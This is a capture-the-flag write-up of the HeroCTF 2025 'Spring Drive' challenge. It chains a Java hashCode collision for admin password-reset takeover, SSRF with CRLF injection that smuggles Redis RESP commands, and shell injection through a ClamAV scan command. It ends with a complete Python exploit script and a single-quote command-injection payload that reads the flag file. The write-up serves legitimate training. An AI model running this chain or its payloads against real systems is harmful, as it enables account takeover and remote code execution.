Table of Contents


Introduction

Spring Drive was a hard web challenge from HeroCTF 2025.

It featured a Java Spring Boot application where the goal was to get Remote Code Execution by abusing three main vulnerabilities.

challenge


TL;DR

  • Reverse-engineer a custom password reset logic relying on Java’s String.hashCode() method.
  • Generate a hash collision to takeover the admin account.
  • Exploit an SSRF in the “Remote Upload” feature by injecting malicious data into the httpMethod field.
  • Smuggle RESP commands to the local Redis to poison the clamav_queue.
  • Achieve RCE via Command Injection when the ClamAV worker processes the malicious filename.

The Application

As stated in the introduction, the application’s backend is coded in Java via the Spring Boot framework which is a classic in CTFs. The front-end uses Svelte, but this challenge doesn’t involve any significant interaction with it.

supervisord.conf

[...]
[program:postgres]
command=/postgres_start.sh
autostart=true
autorestart=true
user=postgres

[program:redis]
command=redis-server --bind 127.0.0.1
autostart=true
autorestart=true
user=redis

[...]

[program:app]
command=java -jar /app/app.jardirectory=/app
autostart=true
autorestart=true
user=app
stdout_logfile=/app/app_stdout.log
stderr_logfile=/app/app_stderr.log
stdout_logfile_maxbytes=50MB
stderr_logfile_maxbytes=50MB

The supervisord configuration file holds interesting information we need to keep in mind for later, such as the presence of both Postgres and Redis.

entrypoint.sh

#!/bin/bash

echo "${FLAG:-HEROCTF_FAKE_FLAG}" > "/app/flag_$(openssl rand -hex 8).txt"

/usr/bin/supervisord -n

This file shows us that the flag is in the /app folder, and the name of the flag file is randomized which indicates that we will have to either find a way to enumerate the parent folder, or get a full RCE on the machine.

Now let’s dig into the backend’s source code to try and find interesting endpoints and methods.

FileController.java

[...]
@PostMapping("/remote-upload")
    [...]
        int userId = (int) session.getAttribute("userId");
        if (userId != 1) {
            return JSendDto.fail("You must be admin to access this feature.");
        }
[...]

The fact that the remote upload endpoint is only available to the admin suggests that the first step of the exploitation will be to become admin somehow before trying to exploit this.

DataInitializer.java

@Configuration
public class DataInitializer {

    private static final Logger logger = LoggerFactory.getLogger(DataInitializer.class);

    @Bean
    CommandLineRunner initDatabase(UserRepository userRepository) {
        return args -> {
            if (userRepository.findByUsername("admin") == null) {
                UserModel adminUser = new UserModel();
                // adminUser.setId(1);
                adminUser.setUsername("admin");
                adminUser.setEmail("admin@example.com");
                adminUser.setPassword(CryptoUtils.generateRandomHex());
                userRepository.save(adminUser);
                logger.info("Admin user created!");
            } else {
                logger.info("Admin user already created!");
            }
        };
    }
}

The admin user is created on the initialization of the app, and it indeed has the id 1 (even though the line is commented, the ID is 1 since it’s the first user). Note that the admin’s email is also static (admin@example.com), this will be useful later on.


Breaking the Reset Logic

We’ll focus on the password reset logic as this is the most interesting path to take over the admin account.

Vulnerable Token Verification

AuthController.java

@RestController
@RequestMapping("/auth")
public class AuthController {
    [...]
    @PostMapping("/send-password-reset")
    [...]

        String email = sendResetPasswordDto.email();

        UserModel user = userService.findByEmail(email);
        if (user == null) {
            return JSendDto.fail("User not found");
        }

        ResetPasswordToken token = ResetPasswordStorage.getInstance().createResetPasswordToken(user);

        // FAKE EMAIL SERVICE
        [...]

        return JSendDto.success("Password reset email sent");
    }

    @PostMapping("/reset-password")
    public JSendDto resetPassword(@Valid @RequestBody ResetPasswordDto resetPasswordDto, BindingResult bindingResult) {
        if (bindingResult.hasErrors()) {
            String errorMessage = bindingResult.getAllErrors().stream()
                    .map(DefaultMessageSourceResolvable::getDefaultMessage)
                    .collect(Collectors.joining(", "));
            return JSendDto.fail("Validation failed: " + errorMessage);
        }

        String email = resetPasswordDto.email();
        String token = resetPasswordDto.token();
        String password = resetPasswordDto.password();

        int userId = ResetPasswordStorage.getInstance().getUserFromResetPasswordToken(
                email,
                token
        );
        UserModel user = userService.findUserById(userId);
        if (user == null) {
            return JSendDto.fail("Wrong email or token.");
        }

        user.setPassword(password);
        if (userService.saveUser(user) == null) {
            return JSendDto.fail("Password reset failed");
        }

        return JSendDto.success("Password reset successful");
    }
    [...]

Let’s break down what these two endpoints do:

/send-password-reset takes the user email, gets the whole user object and calls createResetPasswordToken(user).

/reset-password is a little bit trickier, it takes an email, a token and a password. It first tries to get the userId from the email and the token via getUserFromResetPasswordToken() and if that succeeds it gets the user from the ID and changes its password. Notice that the provided password has never been checked.

ResetPasswordStorage.java

public class ResetPasswordStorage {

    private static ResetPasswordStorage instance;
    private final ArrayList<ResetPasswordToken> resetPasswordTokens;

    private ResetPasswordStorage() {
        this.resetPasswordTokens = new ArrayList<>();
    }

    public static synchronized ResetPasswordStorage getInstance() {
        if (instance == null) {
            instance = new ResetPasswordStorage();
        }
        return instance;
    }

    private String createUniqueToken(UserModel user) {
        return UUID.randomUUID() + "|" + user.getId();
    }

    public ResetPasswordToken createResetPasswordToken(UserModel user) {
        ResetPasswordToken resetPasswordToken = new ResetPasswordToken(createUniqueToken(user), user.getEmail());
        resetPasswordTokens.add(resetPasswordToken);
        return resetPasswordToken;
    }

    public int getUserFromResetPasswordToken(String email, String uniqueToken) {
        ResetPasswordToken resetPasswordToken = new ResetPasswordToken(uniqueToken, email);
        if (resetPasswordTokens.contains(resetPasswordToken)) {
            return Integer.parseInt(uniqueToken.split("\\|")[1]);
        }
        return -1;
    }

}

This file shows us that a valid reset token looks like <uuid>|<user_id> and it stores the associated user_email. When a token is created by createResetPasswordToken() it is also stored in the resetPasswordTokens list.

The getUserFromResetPasswordToken() method is what makes everything come together.

First, it generates a ResetPasswordToken with the provided email and token.

Then, it calls contains() on the ResetPasswordTokens list. What this does is it goes through the list, and for each element it calls element.equals(givenObject).

If it finds a match in the list, it extracts the ID from the provided token and not from the token in the list.

ResetPasswordToken.java

package com.challenge.drive.util;

public class ResetPasswordToken {

    private String token;
    private String email;

    public ResetPasswordToken(String token, String email) {
        this.token = token;
        this.email = email;
    }

    [...]

    @Override
    public boolean equals(Object o) {
        return this.token.split("\\|")[0].equals(((ResetPasswordToken) o).token.split("\\|")[0]) && this.hashCode() == o.hashCode();
    }

    @Override
    public int hashCode() {
        return token.hashCode() + email.hashCode();
    }
}

This class overwrites hashCode() by making it the sum of the hashCode() of both the token and the email fields.

It also overwrites the equals() method and makes it separately compare the token without the ID and the hashCode() of the whole token (which is equal to the hashCode of the token + the hashCode of the email).

We saw earlier that getUserFromResetPasswordToken() is called and it compares tokens via the equals() method. Essentially, reseting a password works if:

  • The provided UUID before the | exists in the storage.
  • hashCode(providedToken) + hashCode(providedEmail) matches hashCode(storedToken) + hashCode(storedEmail)

Generating the Hash Collision

Let’s say we request a password reset for a probe user called dummy whose ID is 2. Our goal is to reset the admin’s password via creating a hash collision and the only value we don’t know is our probe user’s email. This gives us this equation when the token check is triggered:

hashCode("<UUID>|1") + hashCode("admin@example.com") = hashCode("<UUID>|2") + hashCode(<unknown_email>)

Since <UUID>|1 and <UUID>|2 only differ by one character, we can transform the equation into:

hashCode(<unknown_email>) = hashCode("admin@example.com") + hashCode(<UUID>|1) - hashCode(<UUID>|2)

hashCode(<unknown_email>) = hashCode("admin@example.com") - 1

Now, we understand that we simply need to register a user with an “email” string whose hash satisfies this equation. This is possible because the website’s backend does not check if the provided email on register has a valid email format.

To find the said email, we can write a script to reverse-engineer a valid string. Since Java’s String.hashCode() is a polynomial rolling hash modulo 2^32, we don’t need to brute-force the entire string blindly.

We can use a “meet-in-the-middle” approach or a smart solver:

  • We fix a target length for our malicious email (e.g., 6 characters).
  • We generate a random prefix of 5 characters and calculate its hash contribution.
  • We mathematically determine exactly which integer value the last character must have to balance the equation and reach the target hash.
  • If this integer corresponds to a valid printable Unicode character (excluding surrogates), we have found our collision.

We can now reset the admin’s password by first registering a probe user to know which id we are at, then requesting a password reset token to get the UUID and add it into the storage. We solve the equation for the next ID and register the user with the valid email string before requesting a password reset with the email set to admin@example.com and the token to <UUID>|1 so it resets the user 1’s password (admin).

all my homies hate cryptography


Smuggling into Redis

Now that we are admin, we unlock the access to the /api/file/remote-upload endpoint. This feature allows the server to fetch a file from a URL provided by the user.

SSRF via HTTP Method Injection

RemoteUploadDto.java

public record RemoteUploadDto(
        @NotBlank(message = "URL is required")
        @Size(min = 3, max = 2048, message = "URL must be between 3 and 2048 characters")
        String url,

        @NotNull(message = "Filename is required")
        @NotBlank(message = "Filename is required")
        @Size(min = 1, max = 255, message = "Filename must be between 1 and 255 characters")
        String filename,

        @NotBlank(message = "HTTP method is required")
        @Size(min = 3, max = 255, message = "HTTP method must be between 3 and 255 characters")
        String httpMethod
) {
    public RemoteUploadDto(String url, String filename) {
        this(url, filename, "GET");
    }
}

The vulnerability lies in the fact that the httpMethod is only validated for its length (3 to 255 characters), there is no whitelist (e.g., GET, POST only).

FileController.java

@PostMapping("/remote-upload")
    [...]
        String method = remoteUploadDto.httpMethod();
        String remoteUrl = remoteUploadDto.url();

        try {
            Path uploadPath = Paths.get(Constants.UPLOAD_DIR);
            if (!Files.exists(uploadPath)) {
                Files.createDirectories(uploadPath);
            }

            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder()
                    .url(remoteUrl)
                    .method(method, null)
                    .build();
[...]

The OkHttpClient builds the raw HTTP request. Since we control the HTTP verb, we can inject CRLF sequences (\r\n) to break out of the HTTP protocol structure.

Crafting the RESP Payload

We know Redis is running on 127.0.0.1:6379. By targeting this URL and injecting malicious data into the httpMethod, we can make the Java backend send a valid RESP (Redis Serialization Protocol) command to the local Redis instance.

The application uses a clamav_queue list in Redis to process files. Our goal is to push a malicious payload into this list using the LPUSH command.

After our injection, the final request crafted by OkHttp will look like this:

GET / HTTP/1.1
Host: 127.0.0.1:6379

*3
$5
LPUSH
$12
clamav_queue
$<PAYLOAD_LENGTH>
<PAYLOAD>

When OkHttp sends this, Redis ignores the garbage HTTP headers and executes the valid RESP block that starts at *3.


Weaponizing the Antivirus

We have a way to write data into the clamav_queue. Now we need to understand how that data is processed.

Let’s analyze the ClamAV service. This service connects to the local Redis instance and implements a scheduled task to process the file queue.

ClamAVService.java

@Service
public class ClamAVService {
[...]
    @Scheduled(fixedRate = 60 * 1000)
    public void scanAllFiles() {
        logger.info("Scanning all files...");
        while (!this.isEmpty()) {
            String filePath = this.dequeue();
            logger.info("Scanning file {}...", filePath);
            if (!this.isFileClean(filePath)) {
                try {
                    Files.deleteIfExists(Paths.get(filePath));
                } catch (IOException ignored) {
                    logger.error("Unable to delete the file {}", filePath);
                }
            }
        }
    }
[...]
}

The @Scheduled(fixedRate = 60 * 1000) indicates that the scanner only wakes up once every minute.

The vulnerability lies in the isFileClean() method. The backend constructs the command using String.format and, critically, executes it using /bin/sh -c.

ClamAVService.java

@Service
public class ClamAVService {
[...]
    public boolean isFileClean(String filePath) {
        String command = String.format("clamscan --quiet '%s'", filePath);
        ProcessBuilder processBuilder = new ProcessBuilder("/bin/sh", "-c", command);

        try {
            Process process = processBuilder.start();
            return process.waitFor() == 0;
        } catch (Exception ignored) {
            logger.error("Unable to scan the file {}", filePath);
        }
        return false;
    }
}

This is the “smoking gun”. By using /bin/sh -c, the application allows shell interpreters (like ;, |, >) to function. Since we directly injected the file name into the Redis database, it has not been sanitized at all and can contain a full bash payload.

We need to escape the single quotes inside the String.format.

Command constructed by Java:

clamscan --quiet 'PAYLOAD'

Our Payload:

x'; cat /app/flag* > /app/uploads/<UUID> #'

Resulting Command:

clamscan --quiet 'x'; cat /app/flag* > /app/uploads/<UUID> #''

finally code execution


Pulling the Trigger

Now it’s time to piece it all together and get the flag !

Full Exploitation Path

  • Reconnaissance: Identify admin credentials and ID 1 from initialization files.
  • ATO (Breaking the Maths):
    • Register a “Probe” user (ID 2).
    • Calculate the “Magic Email” collision string (Hmagic=Hadmin−1).
    • Register a “Hacker” user with this email.
    • Reset Hacker’s password, intercept the token (<UUID>|2).
    • Submit the reset using <UUID>|1 to takeover the admin account.
  • Preparation:
    • Log in as admin.
    • Upload a placeholder file via the web interface.
    • Note its server-side path (e.g., /app/uploads/ed42-89...) and its fileId.
  • Injection:
    • Send the SSRF payload to /file/remote-upload targeting http://127.0.0.1:6379.
    • Inject the RESP LPUSH command in httpMethod.
    • Payload: LPUSH clamav_queue "x'; cat /app/flag* > /app/uploads/ed42-89... #'"
  • Exfiltration:
    • Wait ~120 seconds for the @Scheduled task in ClamAVService to trigger twice to make sure it works.
    • Call /file/download with the fileId of our placeholder.
    • The file content has been overwritten by the flag.

Solve Script

communicate.py

import base64
import random
import uuid
import requests
import time

TARGET = "http://localhost:6969/"
#TARGET = "http://dyn03.heroctf.fr:14685/"
PASSWORD = "password123"

ADMIN_HASH = -2003659892  # java String.hashCode() of "admin@example.com"

def java_hash(s: str) -> int:
    """Java String.hashCode()"""
    h = 0
    for ch in s:
        h = (31 * h + ord(ch)) & 0xFFFFFFFF
    if h & 0x80000000:
        h -= 0x100000000
    return h

def find_string_for_hash(target_hash: int, max_len: int = 10, attempts: int = 400000) -> str:
    """Generate a short Unicode string (no surrogates) whose Java hashCode equals target_hash."""
    targ_u = target_hash & 0xFFFFFFFF
    for L in range(3, max_len + 1):
        for _ in range(attempts):
            prefix_chars = []
            for _ in range(L - 1):
                c = random.randint(1, 0xFFFF)
                while 0xD800 <= c <= 0xDFFF:  # skip UTF-16 surrogate range
                    c = random.randint(1, 0xFFFF)
                prefix_chars.append(chr(c))
            prefix = "".join(prefix_chars)
            h = 0
            for ch in prefix:
                h = (31 * h + ord(ch)) & 0xFFFFFFFF
            c = (targ_u - ((h * 31) & 0xFFFFFFFF)) & 0xFFFFFFFF
            if c <= 0xFFFF and not (0xD800 <= c <= 0xDFFF):
                s = prefix + chr(c)
                if java_hash(s) == target_hash:
                    return s
    raise RuntimeError("Failed to find string for hash")

def register_user(session: requests.Session, username: str, email: str, password: str) -> dict:
    endpoint = TARGET + "api/auth/register"
    data = {
        "username": username,
        "email": email,
        "password": password,
        "confirmPassword": password,
    }
    resp = session.post(endpoint, json=data)
    if resp.ok and resp.json().get("status") == "success":
        print(f"[+] Registered {username!r} with email {email.encode('unicode_escape').decode()}")
        return resp.json()
    print("[-] Registration failed", resp.status_code, resp.text)
    return {}

def login_user(session: requests.Session, username: str, password: str) -> dict:
    endpoint = TARGET + "api/auth/login"
    data = {
        "username": username,
        "password": password,
    }
    resp = session.post(endpoint, json=data)
    if "success" in resp.text:
        print(f"[+] Logged in as {username!r}")
        return resp.json()
    print("[-] Login failed", resp.status_code, resp.text)
    return {}

def fetch_profile(session: requests.Session) -> dict:
    resp = session.get(TARGET + "api/user/profile")
    try:
        return resp.json().get("data", {})
    except Exception:
        print("[-] Failed to fetch profile", resp.status_code, resp.text)
        return {}

def send_password_reset(session: requests.Session, email: str) -> None:
    endpoint = TARGET + "api/auth/send-password-reset"
    resp = session.post(endpoint, json={"email": email})
    print(f"[+] Sent reset for {email.encode('unicode_escape').decode()}: {resp.text}")

def get_reset_token(session: requests.Session, email: str) -> str:
    endpoint = TARGET + "api/auth/email"
    resp = session.get(endpoint)
    try:
        lines = resp.json().get("data", [])
    except Exception:
        print("[-] Failed to parse email endpoint:", resp.text)
        return ""

    for line in lines:
        if email in line:
            token = line.split("token=")[1].split("]")[0]
            print(f"[+] Found reset token line: {line}")
            return token
    print(f"[-] No reset token found for {email.encode('unicode_escape').decode()}")
    return ""

def reset_password(session: requests.Session, email, token, new_password):
    endpoint = TARGET + "api/auth/reset-password"
    data = {
        "email": email,
        "token": token,
        "password": new_password,
    }
    resp = session.post(endpoint, json=data)
    if "success" in resp.text:
        print(f"[+] Password reset successful for {email.encode('unicode_escape').decode()}")
    else:
        print(f"[-] Password reset failed for {email.encode('unicode_escape').decode()}: {resp.text}")

def upload_file(session: requests.Session, data: bytes, name: str = "payload.bin") -> dict:
    files = {"file": (name, data, "application/octet-stream")}
    resp = session.post(TARGET + "api/file/upload", files=files)
    print("[+] Upload response:", resp.text)
    listing = session.get(TARGET + "api/file/").json().get("data", [])
    return listing[-1] if listing else {}

def craft_resp_lpush(payload: str) -> str:
    payload_bytes = payload.encode()
    return (
        f"*3\r\n$5\r\nLPUSH\r\n$12\r\nclamav_queue\r\n${len(payload_bytes)}\r\n"
        f"{payload}\r\n"
    )

def inject_clamav_command(session: requests.Session, out_path: str, flag_glob: str = "/app/flag_*") -> str:
    payload = f"a';cat {flag_glob} > {out_path} #'"
    method = craft_resp_lpush(payload)
    resp = session.post(
        TARGET + "api/file/remote-upload",
        json={"url": "http://127.0.0.1:6379/", "filename": "x", "httpMethod": method},
    )
    print("[+] Inject response:", resp.text)
    print("[*] Here we expect an error because we are speaking RESP protocol")
    return resp.text

def download_file(session: requests.Session, file_id: int) -> bytes:
    resp = session.post(TARGET + "api/file/download", json={"fileId": file_id})
    data = resp.json().get("data", {}) or {}
    b64 = data.get("base64", "")
    return base64.b64decode(b64) if b64 else b""

if __name__ == "__main__":
    # Step 1: register a probe user to learn the current ID
    probe_session = requests.Session()
    probe_username = f"probe_{uuid.uuid4().hex[:8]}"
    probe_email = f"{probe_username}@example.com"
    register_user(probe_session, probe_username, probe_email, PASSWORD)
    probe_profile = fetch_profile(probe_session)
    probe_id = probe_profile.get("id")
    if not probe_id:
        print("[-] Could not determine probe user ID; aborting")
        exit(1)
    print(f"[+] Probe user id: {probe_id}")

    # Step 2: target the next user id
    target_id = probe_id + 1
    target_hash = ADMIN_HASH + (1 - target_id)
    crafted_email = find_string_for_hash(target_hash)
    print(f"[+] Crafted email for userId {target_id}: {crafted_email.encode('unicode_escape').decode()}")

    # Step 3: register crafted user (should get id = target_id)
    crafted_session = requests.Session()
    crafted_username = f"hacker_{uuid.uuid4().hex[:8]}"
    register_user(crafted_session, crafted_username, crafted_email, PASSWORD)
    crafted_profile = fetch_profile(crafted_session)
    crafted_id = crafted_profile.get("id")
    print(f"[+] Crafted user id: {crafted_id}")
    if crafted_id != target_id:
        print("[-] Crafted user id mismatch; adjust logic and retry")
        exit(1)

    # Step 4: trigger reset and extract token
    send_password_reset(crafted_session, crafted_email)
    token = get_reset_token(crafted_session, crafted_email)
    if token:
        uuid_part = token.split("|")[0]
        print(f"[+] Victim token: {token}")
        print(f"[+] Admin-forged token: {uuid_part}|1")
        admin_token = f"{uuid_part}|1"
    else:
        print("[-] Could not retrieve reset token; aborting")
        exit(1)

    # Step 5: reset admin password
    reset_password(crafted_session, "admin@example.com", admin_token, PASSWORD)

    # Step 6: Switch to admin session
    admin_session = requests.Session()
    login_user(admin_session, "admin", PASSWORD)

    # Step 7: Upload dummy to get writeable file path and file id
    entry = upload_file(admin_session, b"hello", name="holder.txt")
    out_path = entry.get("filePath")
    file_id = entry.get("id")
    if not out_path or not file_id:
        print("[-] Could not get uploaded file info; aborting")
        exit(1)
    print(f"[+] Uploaded file path: {out_path}, id: {file_id}")

    # Step 8: Inject clamav command to read the flag
    inject_clamav_command(admin_session, out_path)

    # Step 9: Sleep
    print("[*] Waiting for ClamAV to scan")
    time.sleep(120)

    # Step 10: Download the file to get the flag
    flag_data = download_file(admin_session, file_id)
    print(f"[+] Retrieved file data:\n{flag_data.decode(errors='ignore')}")

solve


Conclusion

This was an incredible challenge made by xanhacks, I learned a lot while solving it and it was really fun, GG!